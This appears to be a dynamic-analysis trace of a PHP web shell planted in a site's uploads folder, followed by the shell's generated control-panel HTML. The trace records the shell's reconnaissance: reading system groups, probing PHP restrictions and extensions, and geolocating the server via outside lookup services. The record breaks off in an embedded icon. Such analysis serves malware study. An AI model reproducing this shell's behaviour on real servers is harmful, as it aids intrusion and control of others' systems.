4	78	R			[0 => 'root:x:0:', 1 => 'daemon:x:1:', 2 => 'bin:x:2:', 3 => 'sys:x:3:', 4 => 'adm:x:4:syslog,osboxes', 5 => 'tty:x:5:', 6 => 'disk:x:6:', 7 => 'lp:x:7:', 8 => 'mail:x:8:', 9 => 'news:x:9:', 10 => 'uucp:x:10:', 11 => 'man:x:12:', 12 => 'proxy:x:13:', 13 => 'kmem:x:15:', 14 => 'dialout:x:20:', 15 => 'fax:x:21:', 16 => 'voice:x:22:', 17 => 'cdrom:x:24:osboxes', 18 => 'floppy:x:25:', 19 => 'tape:x:26:', 20 => 'sudo:x:27:osboxes', 21 => 'audio:x:29:pulse', 22 => 'dip:x:30:osboxes', 23 => 'www-data:x:33:', 24 => 'backup:x:34:', 25 => 'operator:x:37:', 26 => 'list:x:38:', 27 => 'irc:x:39:', 28 => 'src:x:40:', 29 => 'gnats:x:41:', 30 => 'shadow:x:42:', 31 => 'utmp:x:43:', 32 => 'video:x:44:', 33 => 'sasl:x:45:', 34 => 'plugdev:x:46:osboxes', 35 => 'staff:x:50:', 36 => 'games:x:60:', 37 => 'users:x:100:', 38 => 'nogroup:x:65534:', 39 => 'systemd-journal:x:101:', 40 => 'systemd-network:x:102:', 41 => 'systemd-resolve:x:103:', 42 => 'crontab:x:104:', 43 => 'messagebus:x:105:', 44 => 'systemd-timesync:x:106:', 45 => 'input:x:107:', 46 => 'sgx:x:108:', 47 => 'kvm:x:109:', 48 => 'render:x:110:', 49 => 'syslog:x:111:', 50 => 'tss:x:112:', 51 => 'bluetooth:x:113:', 52 => 'ssl-cert:x:114:', 53 => 'uuidd:x:115:', 54 => 'systemd-oom:x:116:', 55 => 'tcpdump:x:117:', 56 => '_ssh:x:118:', 57 => 'avahi-autoipd:x:119:', 58 => 'netdev:x:120:', 59 => 'avahi:x:121:', 60 => 'lpadmin:x:122:osboxes', 61 => 'rtkit:x:123:', 62 => 'whoopsie:x:124:', 63 => 'sssd:x:125:', 64 => 'nm-openvpn:x:126:', 65 => 'scanner:x:127:saned', 66 => 'saned:x:128:', 67 => 'colord:x:129:', 68 => 'geoclue:x:130:', 69 => 'pulse:x:131:', 70 => 'pulse-access:x:132:', 71 => 'gdm:x:133:', 72 => 'lxd:x:134:osboxes', 73 => 'osboxes:x:1000:', 74 => 'sambashare:x:135:osboxes', 75 => 'vboxsf:x:136:']
3		A						/var/www/html/uploads/vgm4.php(1) : eval()'d code	799	$read_as_arr = [0 => 'root:x:0:', 1 => 'daemon:x:1:', 2 => 'bin:x:2:', 3 => 'sys:x:3:', 4 => 'adm:x:4:syslog,osboxes', 5 => 'tty:x:5:', 6 => 'disk:x:6:', 7 => 'lp:x:7:', 8 => 'mail:x:8:', 9 => 'news:x:9:', 10 => 'uucp:x:10:', 11 => 'man:x:12:', 12 => 'proxy:x:13:', 13 => 'kmem:x:15:', 14 => 'dialout:x:20:', 15 => 'fax:x:21:', 16 => 'voice:x:22:', 17 => 'cdrom:x:24:osboxes', 18 => 'floppy:x:25:', 19 => 'tape:x:26:', 20 => 'sudo:x:27:osboxes', 21 => 'audio:x:29:pulse', 22 => 'dip:x:30:osboxes', 23 => 'www-data:x:33:', 24 => 'backup:x:34:', 25 => 'operator:x:37:', 26 => 'list:x:38:', 27 => 'irc:x:39:', 28 => 'src:x:40:', 29 => 'gnats:x:41:', 30 => 'shadow:x:42:', 31 => 'utmp:x:43:', 32 => 'video:x:44:', 33 => 'sasl:x:45:', 34 => 'plugdev:x:46:osboxes', 35 => 'staff:x:50:', 36 => 'games:x:60:', 37 => 'users:x:100:', 38 => 'nogroup:x:65534:', 39 => 'systemd-journal:x:101:', 40 => 'systemd-network:x:102:', 41 => 'systemd-resolve:x:103:', 42 => 'crontab:x:104:', 43 => 'messagebus:x:105:', 44 => 'systemd-timesync:x:106:', 45 => 'input:x:107:', 46 => 'sgx:x:108:', 47 => 'kvm:x:109:', 48 => 'render:x:110:', 49 => 'syslog:x:111:', 50 => 'tss:x:112:', 51 => 'bluetooth:x:113:', 52 => 'ssl-cert:x:114:', 53 => 'uuidd:x:115:', 54 => 'systemd-oom:x:116:', 55 => 'tcpdump:x:117:', 56 => '_ssh:x:118:', 57 => 'avahi-autoipd:x:119:', 58 => 'netdev:x:120:', 59 => 'avahi:x:121:', 60 => 'lpadmin:x:122:osboxes', 61 => 'rtkit:x:123:', 62 => 'whoopsie:x:124:', 63 => 'sssd:x:125:', 64 => 'nm-openvpn:x:126:', 65 => 'scanner:x:127:saned', 66 => 'saned:x:128:', 67 => 'colord:x:129:', 68 => 'geoclue:x:130:', 69 => 'pulse:x:131:', 70 => 'pulse-access:x:132:', 71 => 'gdm:x:133:', 72 => 'lxd:x:134:osboxes', 73 => 'osboxes:x:1000:', 74 => 'sambashare:x:135:osboxes', 75 => 'vboxsf:x:136:']
3	74	1	0.017295	1545560
3	74	R			76
2		A						/var/www/html/uploads/vgm4.php(1) : eval()'d code	376	$group_count = 76
3	155	0	0.017330	1545560	ini_get	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	377	1	'safe_mode'
3	155	1	0.017346	1545592
3	155	R			FALSE
3	156	0	0.017361	1545560	ini_get	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	377	1	'safe_mode'
3	156	1	0.017374	1545592
3	156	R			FALSE
3	157	0	0.017387	1545560	strtolower	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	377	1	FALSE
3	157	1	0.017402	1545592
3	157	R			''
3	158	0	0.017417	1545560	ini_get	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	378	1	'open_basedir'
3	158	1	0.017431	1545592
3	158	R			''
2		A						/var/www/html/uploads/vgm4.php(1) : eval()'d code	378	$v = ''
3	159	0	0.017456	1545560	strtolower	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	378	1	''
3	159	1	0.017469	1545592
3	159	R			''
3	160	0	0.017483	1545560	ini_get	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	379	1	'disable_functions'
3	160	1	0.017498	1546040
3	160	R			'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
2		A						/var/www/html/uploads/vgm4.php(1) : eval()'d code	379	$df = 'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
3	161	0	0.017548	1546008	ini_get	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	380	1	'upload_max_filesize'
3	161	1	0.017563	1546072
3	161	R			'2M'
2		A						/var/www/html/uploads/vgm4.php(1) : eval()'d code	380	$s = '2M'
3	162	0	0.017590	1546040	get_loaded_extensions	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	381	0
3	162	1	0.017627	1549840
3	162	R			[0 => 'Core', 1 => 'date', 2 => 'libxml', 3 => 'openssl', 4 => 'pcre', 5 => 'zlib', 6 => 'filter', 7 => 'hash', 8 => 'Reflection', 9 => 'SPL', 10 => 'session', 11 => 'sodium', 12 => 'standard', 13 => 'apache2handler', 14 => 'curl', 15 => 'PDO', 16 => 'calendar', 17 => 'ctype', 18 => 'exif', 19 => 'fileinfo', 20 => 'ftp', 21 => 'gettext', 22 => 'iconv', 23 => 'json', 24 => 'Phar', 25 => 'posix', 26 => 'readline', 27 => 'shmop', 28 => 'sockets', 29 => 'sysvmsg', 30 => 'sysvsem', 31 => 'sysvshm', 32 => 'tokenizer', 33 => 'xdebug', 34 => 'Zend OPcache']
2		A						/var/www/html/uploads/vgm4.php(1) : eval()'d code	381	$ext = [0 => 'Core', 1 => 'date', 2 => 'libxml', 3 => 'openssl', 4 => 'pcre', 5 => 'zlib', 6 => 'filter', 7 => 'hash', 8 => 'Reflection', 9 => 'SPL', 10 => 'session', 11 => 'sodium', 12 => 'standard', 13 => 'apache2handler', 14 => 'curl', 15 => 'PDO', 16 => 'calendar', 17 => 'ctype', 18 => 'exif', 19 => 'fileinfo', 20 => 'ftp', 21 => 'gettext', 22 => 'iconv', 23 => 'json', 24 => 'Phar', 25 => 'posix', 26 => 'readline', 27 => 'shmop', 28 => 'sockets', 29 => 'sysvmsg', 30 => 'sysvsem', 31 => 'sysvshm', 32 => 'tokenizer', 33 => 'xdebug', 34 => 'Zend OPcache']
3	163	0	0.017706	1549840	implode	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	381	2	','	[0 => 'Core', 1 => 'date', 2 => 'libxml', 3 => 'openssl', 4 => 'pcre', 5 => 'zlib', 6 => 'filter', 7 => 'hash', 8 => 'Reflection', 9 => 'SPL', 10 => 'session', 11 => 'sodium', 12 => 'standard', 13 => 'apache2handler', 14 => 'curl', 15 => 'PDO', 16 => 'calendar', 17 => 'ctype', 18 => 'exif', 19 => 'fileinfo', 20 => 'ftp', 21 => 'gettext', 22 => 'iconv', 23 => 'json', 24 => 'Phar', 25 => 'posix', 26 => 'readline', 27 => 'shmop', 28 => 'sockets', 29 => 'sysvmsg', 30 => 'sysvsem', 31 => 'sysvshm', 32 => 'tokenizer', 33 => 'xdebug', 34 => 'Zend OPcache']
3	163	1	0.017749	1550224
3	163	R			'Core,date,libxml,openssl,pcre,zlib,filter,hash,Reflection,SPL,session,sodium,standard,apache2handler,curl,PDO,calendar,ctype,exif,fileinfo,ftp,gettext,iconv,json,Phar,posix,readline,shmop,sockets,sysvmsg,sysvsem,sysvshm,tokenizer,xdebug,Zend OPcache'
3	164	0	0.017775	1549840	helpers->get_ip_information	1		/var/www/html/uploads/vgm4.php(1) : eval()'d code	382	0
3		A						/var/www/html/uploads/vgm4.php(1) : eval()'d code	924	$informations = []
3		A						/var/www/html/uploads/vgm4.php(1) : eval()'d code	926	$server_ip = '127.0.0.1'
3		A						/var/www/html/uploads/vgm4.php(1) : eval()'d code	933	$sites = [0 => 'http://ip-api.com/json/127.0.0.1', 1 => 'https://ipwhois.app/json/127.0.0.1', 2 => 'https://ipapi.co/127.0.0.1/json/', 3 => 'https://free.ipdetails.io/127.0.0.1', 4 => 'https://ipinfo.io/127.0.0.1/json']
3		A						/var/www/html/uploads/vgm4.php(1) : eval()'d code	935	$key = 0
4	165	0	0.017850	1550536	function_exists	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	936	1	'curl_init'
4	165	1	0.017867	1550576
4	165	R			TRUE
4	166	0	0.017880	1550536	curl_init	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	937	0
4	166	1	0.017908	1551448
4	166	R			resource(6) of type (curl)
3		A						/var/www/html/uploads/vgm4.php(1) : eval()'d code	937	$curl = resource(6) of type (curl)
4	167	0	0.017940	1551824	curl_setopt_array	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	945	2	resource(6) of type (curl)	[19913 => 1, 52 => TRUE, 81 => 0, 64 => 0, 10018 => 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 OPR/79.0.4143.72', 10002 => 'http://ip-api.com/json/127.0.0.1', 13 => 10]
4	167	1	0.017969	1551888
4	167	R			TRUE
4	168	0	0.017984	1551448	curl_exec	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	947	1	resource(6) of type (curl)
4	168	1	0.123440	1551736
4	168	R			'{"status":"fail","message":"reserved range","query":"127.0.0.1"}'
3		A						/var/www/html/uploads/vgm4.php(1) : eval()'d code	947	$content = '{"status":"fail","message":"reserved range","query":"127.0.0.1"}'
4	169	0	0.123510	1551704	curl_close	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	948	1	resource(6) of type (curl)
4	169	1	0.123577	1550848
4	169	R			NULL
4	170	0	0.123596	1550816	json_decode	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	965	1	'{"status":"fail","message":"reserved range","query":"127.0.0.1"}'
4	170	1	0.123619	1551472
4	170	R			class stdClass { public $status = 'fail'; public $message = 'reserved range'; public $query = '127.0.0.1' }
3		A						/var/www/html/uploads/vgm4.php(1) : eval()'d code	965	$decode = class stdClass { public $status = 'fail'; public $message = 'reserved range'; public $query = '127.0.0.1' }
3		A						/var/www/html/uploads/vgm4.php(1) : eval()'d code	968	$informations['ip'] = '127.0.0.1'
3		A						/var/www/html/uploads/vgm4.php(1) : eval()'d code	969	$informations['country'] = NULL
3		A						/var/www/html/uploads/vgm4.php(1) : eval()'d code	970	$informations['city'] = NULL
3		A						/var/www/html/uploads/vgm4.php(1) : eval()'d code	971	$informations['region'] = NULL
3		A						/var/www/html/uploads/vgm4.php(1) : eval()'d code	972	$informations['timezone'] = NULL
3	164	1	0.123745	1550216
3	164	R			['ip' => '127.0.0.1', 'country' => NULL, 'city' => NULL, 'region' => NULL, 'timezone' => NULL]
2		A						/var/www/html/uploads/vgm4.php(1) : eval()'d code	382	$info = ['ip' => '127.0.0.1', 'country' => NULL, 'city' => NULL, 'region' => NULL, 'timezone' => NULL]
2	5	1	0.123792	1566600
1	3	1	0.123814	1299552
			0.127735	731584
TRACE END   [2023-02-13 00:11:10.110339]


Generated HTML code

<html lang="en"><head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <style type="text/css">
		@import url(https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta2/css/all.min.css);*{margin:0;padding:0;box-sizing:border-box;font-family:"Sagoe UI",sans-serif;outline:0;list-style:none;text-decoration:none;color:#ff0000;-webkit-font-smoothing:antialiased}body,html{height:100%}body{background:#222831;display:flex;justify-content:center}.holder{margin-top:15px;width:85%;min-width:450px;overflow-x:hidden}.holder::-webkit-scrollbar{width:7px}.holder::-webkit-scrollbar-track{background-color:#e4e4e4;border-radius:50px}.holder::-webkit-scrollbar-thumb{background-color:#222831;border-radius:50px}.mwsbox{overflow-x:hidden;background:#1e1f21;padding:10px 15px;border-radius:10px;box-shadow:-20px 30px 30px -20px rgba(0,0,0,.8);position:relative;width:100%}.mwsbox .bottom-menu{position:absolute;bottom:0;left:50%;transform:translateX(-50%);background:rgba(0,0,0,.75);z-index:999;border-radius:10px 10px 0 0}.mwsbox .bottom-menu ul{display:flex}.mwsbox .bottom-menu ul li{padding:10px 20px;cursor:pointer;display:flex;align-items:center;justify-content:center;border-radius:5px;transition:350ms all}.mwsbox .bottom-menu ul li span{display:none;font-weight:700}.mwsbox .bottom-menu ul li:hover{background:rgba(255,255,255,.5)}.mwsbox .bottom-menu ul li:hover>span{display:block;margin-left:5px}.mwsbox .title{width:100%;padding-bottom:7px;border-bottom:2px solid rgba(255,255,255,.15);margin-bottom:7px;flex-wrap:wrap}.mwsbox .title ul{display:flex;flex-direction:column}.mwsbox .title ul li span{font-weight:700;color:#00ff00;font-size:16px;white-space:nowrap;margin-right:5px}.mwsbox .title ul li{display:flex;align-items:center;font-size:15px;color:rgba(255,255,255,.95)}.mwsbox .title ul li p{word-break:break-all}.mwsbox .title h3{width:100%;background:rgba(34,40,49,.2);text-align:left;margin-bottom:5px;font-size:32px;letter-spacing:3px;font-weight:600;font-weight:500;color:#ff0000;border-radius:5px;padding:5px 0;font-family:"trebuchet ms";text-transform:uppercase}.mwsbox .inner{width:100%;padding:0 10px 5px 0;overflow:auto;max-height:460px;height:460px;}.mwsbox .inner::-webkit-scrollbar{width:7px}.mwsbox .inner::-webkit-scrollbar-track{background-color:#e4e4e4;border-radius:50px}.mwsbox .inner::-webkit-scrollbar-thumb{background-color:#222831;border-radius:50px}.mwsbox .inner table{width:100%;display:none}.mwsbox .inner table thead tr th{border-bottom:1px solid rgba(255,255,255,.08);text-align:right;padding-bottom:10px;font-size:15px;font-weight:600}.mwsbox .inner table tbody tr td{padding:8px 0;border-bottom:1px solid rgba(255,255,255,.02);font-size:14px;font-weight:600;text-align:right}.mwsbox .inner table tbody tr td i{font-size:17px}.mwsbox .inner table tbody tr td:hover span{text-decoration:underline}.mwsbox .inner table tbody tr td span{cursor:pointer}.mwsbox .inner table tbody tr:last-child td{border-bottom:none}.mwsbox .inner table tbody tr td .icons{display:flex;align-items:center;text-align:right;justify-content:flex-end}.mwsbox .inner table tbody tr td .icons i{padding:0 5px;cursor:pointer;display:block}.mwsbox .inner .loaderhold{width:100%;display:flex;align-items:center;justify-content:center}.mwsbox .inner .loaderhold .loader{margin-top:20px;display:none;border:5px solid #f3f3f3;border-top:5px solid #555;border-radius:50%;width:100px;height:100px;animation:spin 1.5s linear infinite}.mwsbox .process-screen{width:calc(75% - 200px);position:absolute;min-width:350px;background:#1a1a1a;border-radius:10px;box-shadow:10px 35px 35px -30px rgba(0,0,0,.8);padding:25px;z-index:9999;top:-50%;left:50%;transform:translate(-50%,-50%);visibility:hidden;max-height:700px;overflow:auto;transition:.2s all;opacity:0}.mwsbox .process-screen::-webkit-scrollbar{width:8px}.mwsbox .process-screen::-webkit-scrollbar-track{background-color:#e4e4e4;border-radius:50px}.mwsbox .process-screen::-webkit-scrollbar-thumb{background-color:gray;border-radius:50px}.mwsbox .process-screen h3{color:#ff0000;font-size:16px;padding-bottom:5px;border-bottom:1px solid #ccc;margin-bottom:10px}.mwsbox .process-screen form{display:flex;flex-direction:column}.mwsbox .process-screen input[type=text]{width:100%;height:45px;padding-left:10px;border:1px solid #aaa;color:#333;background:#ccc}.mwsbox .process-screen input[type=text]:hover{border:1px solid #000}.mwsbox .process-screen input::placeholder{color:gray}.mwsbox .process-screen textarea{width:100%;height:250px;resize:none;padding:5px;border:1px solid #aaa;color:#333;background:#ccc}.mwsbox .process-screen textarea:hover{border:1px solid #000}.mwsbox .process-screen button{width:200px;height:45px;padding:10px;background:#ff0000;color:#fff;border:none;font-weight:700;text-transform:uppercase;font-size:16px;margin-top:10px;cursor:pointer;transition:250ms all}.mwsbox .process-screen button:hover{background:#0078c2}.mwsbox .process-screen label{color:#222;font-weight:600;margin-bottom:5px}.mwsbox .process-screen select{width:100%;height:45px;border:1px solid #aaa;padding-left:10px;color:rgba(0,0,0,.5);background:#ccc}.mwsbox .process-screen select option{color:rgba(0,0,0,.5)}.mwsbox .process-screen .cmd_result{word-break:break-all;width:100%;padding:10px;margin-top:10px;background:#222;border:1px solid rgba(255,255,255,.8);margin-bottom:10px;color:#ff0000;font-weight:700;font-size:14px;max-height:250px;overflow:auto}.mwsbox .process-screen .cmd_result::-webkit-scrollbar{width:8px}.mwsbox .process-screen .cmd_result::-webkit-scrollbar-track{background-color:#ff0000;border-radius:50px}.mwsbox .process-screen .cmd_result::-webkit-scrollbar-thumb{background-color:gray;border-radius:50px}.mwsbox .popup-box{position:absolute;width:300px;min-width:250px;border-radius:5px;padding:10px;font-size:14px;font-weight:700;box-shadow:15px 12px 20px -15px rgba(0,0,0,.9);color:#ff0000;transition:250ms all;right:-9999px;top:10%;opacity:0;visibility:hidden;z-index:50}#path strong{padding-left:2px}#path strong:hover{text-decoration:underline}.popup-box.alert{background:#bd0404}.popup-box.success{background:#029c11}@media only screen and (max-height:900px){.mwsbox{height:800px;width:100%;overflow-x:hidden;}.bottom-menu{top:0;max-height:50px;transform:none}.holder{width:100%}}@media only screen and (max-width:450px){.holder{width:100%;height:100%;overflow-x:hidden;}.bottom-menu{top:0;max-height:50px;transform:none}}@keyframes spin{0%{transform:rotate(0)}100%{transform:rotate(360deg)}}
    </style>
    <script>
		let working_dir,release="1.0",perl_icon="data:image/png;base64,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